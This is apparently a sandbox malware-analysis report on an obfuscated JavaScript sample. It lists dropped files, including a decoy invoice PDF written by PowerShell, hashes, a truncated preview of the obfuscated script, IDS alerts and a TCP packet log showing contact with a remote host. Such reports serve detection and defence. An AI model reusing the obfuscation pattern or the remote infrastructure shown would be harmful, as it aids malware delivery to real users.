Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\951c5339-9fc7-47c0-8be2-09f79b593823.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e783ae24-7a2b-433d-9af4-5033404d495c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/oYZwYIGNPzWo7oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:gYZwZG5W9YGZn3mlind9i4ufFXpAXkru
MD5:	F1408C0FE2310A00B533065316206A1E
SHA1:	0F474C0B7650833832A7A74F10FBA6A2070198C0
SHA-256:	B32C3ACEAE00059294A3A8AB8022645E5F647537D3EC5965CFFD92AA5A61F4A7
SHA-512:	CF962138A74FDF909E92AC22B6EA46604598C84ED2E0BB08A94DB5A28F6EE23F57CA1E4F68FE96B9F2EA7C8CEEDC2B1E8B83A0503F981C5C1E0834E4775E87E5
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ea7ba5d7-0577-48e1-9cc9-80531b7c2209.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\f65e59c1-ad17-4760-8272-a913faa052db.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17128), with CRLF line terminators
Entropy (8bit):	4.909445073133309
TrID:
File name:	2808316613110627987.js
File size:	20'545 bytes
MD5:	09939636edb0af1dd3b784d00f157335
SHA1:	ce1bb619950128db073a1c83b8a6a4190da385a7
SHA256:	55946382730f843aa0de996b44a01be1466255e6743b535b5591d17c06815d8d
SHA512:	33e8b1273d1484f7872d40552ef7749d24de43a4825adeb2950d668ddaf0e206b0123d914d8e2012889d4c41608110fddd8709625394bf35403eb54a63938034
SSDEEP:	384:7NPdWQ7xTLr5ntzUpV6XIexjWWatxYbUi:7ldWQ71P5ntYk42LatxYh
TLSH:	B092664D90019396E6DF02FFC5CB1DDAB754019C5AF862A8A4502867B34BFB472CB1F6
File Content Preview:	function ryjjjzmo(){yuquoeh=[1031,3079,5127,4103,2055,3072];var lfmitz=this[ilybvd+kkebhghoh+ghufc+sqpaevoqc+brhetff+mharl+dsizx+whoikm](this[ubsopycc+rugwuio+ozwsziy+ghufc+gxgcm+ilybvd+whoikm][mxxphlpcf+ghufc+brhetff+kkebhghoh+whoikm+brhetff+jdrtsetxo+rk

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:35:25.281276+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49702	193.143.1.205	80	TCP
2025-01-10T18:35:27.650765+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49703	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:35:24.476176977 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:24.481004000 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:24.481087923 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:24.484946966 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:24.489727020 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.281188965 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.281217098 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.281275988 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.281413078 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.281516075 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.281533003 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.281546116 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.281557083 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.281568050 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.281569004 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.281580925 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.281590939 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.281594992 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.281636953 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.286081076 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.286123037 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.286175966 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.339873075 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.339888096 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.339982986 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.402492046 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.402529001 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.402540922 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.402551889 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.402563095 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.402574062 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.402612925 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.402909994 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.402960062 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.402966022 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.402978897 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.403011084 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.403013945 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.403023958 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.403064966 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.403650999 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.403680086 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.403690100 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.403716087 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.404123068 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.404133081 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.404144049 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.404156923 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.404201031 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.404463053 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.404480934 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.404490948 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.404516935 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.404545069 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.404556990 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.404583931 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.405379057 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.405430079 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.469954014 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.469970942 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.469979048 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.470046997 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.489164114 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.489192963 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.489217997 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.541404963 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.542152882 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.542169094 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.542181015 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.542191029 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.542202950 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.542220116 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.542232037 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.542237043 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.542243958 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.542279959 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.542474985 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.542488098 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.542499065 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.542531967 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.542570114 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.542582989 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.542596102 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.542608976 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.542612076 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.542632103 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.542643070 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.542695999 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.543467045 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.543493032 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.543510914 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.543531895 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.543531895 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.543546915 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.543560982 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.543570042 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.543576002 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.543597937 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.543611050 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.543663979 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.544549942 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.544563055 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.544574976 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.544585943 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.544596910 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.544606924 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.544608116 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.544620991 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.544627905 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.544632912 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.544676065 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.544701099 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.545488119 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.545515060 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.545530081 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.545543909 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.545556068 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.545558929 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.545573950 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.545589924 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.545603037 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.545639038 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.556780100 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.556802988 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.556813955 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.556838989 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.556862116 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.556873083 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.556898117 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.556931973 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.581048012 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.581084967 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.581096888 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.581108093 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.581136942 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.581193924 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.610063076 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.610083103 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.610153913 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.644124985 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.644140959 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.644157887 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.644176006 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.644215107 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.644227982 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.644256115 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.644424915 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.644464016 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.644474983 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.644499063 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.644541979 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.644572973 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.644884109 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.644918919 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.644933939 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.645014048 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.645056009 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.645061016 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.645067930 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.645112038 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.645256996 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.645292997 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.645303965 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.645313978 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.645344973 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.645375013 CET	49702	80	192.168.2.7	193.143.1.205
Jan 10, 2025 18:35:25.645797014 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.645808935 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.645818949 CET	80	49702	193.143.1.205	192.168.2.7
Jan 10, 2025 18:35:25.645829916 CET	80	49702	193.143.1.205	192.168.2.7
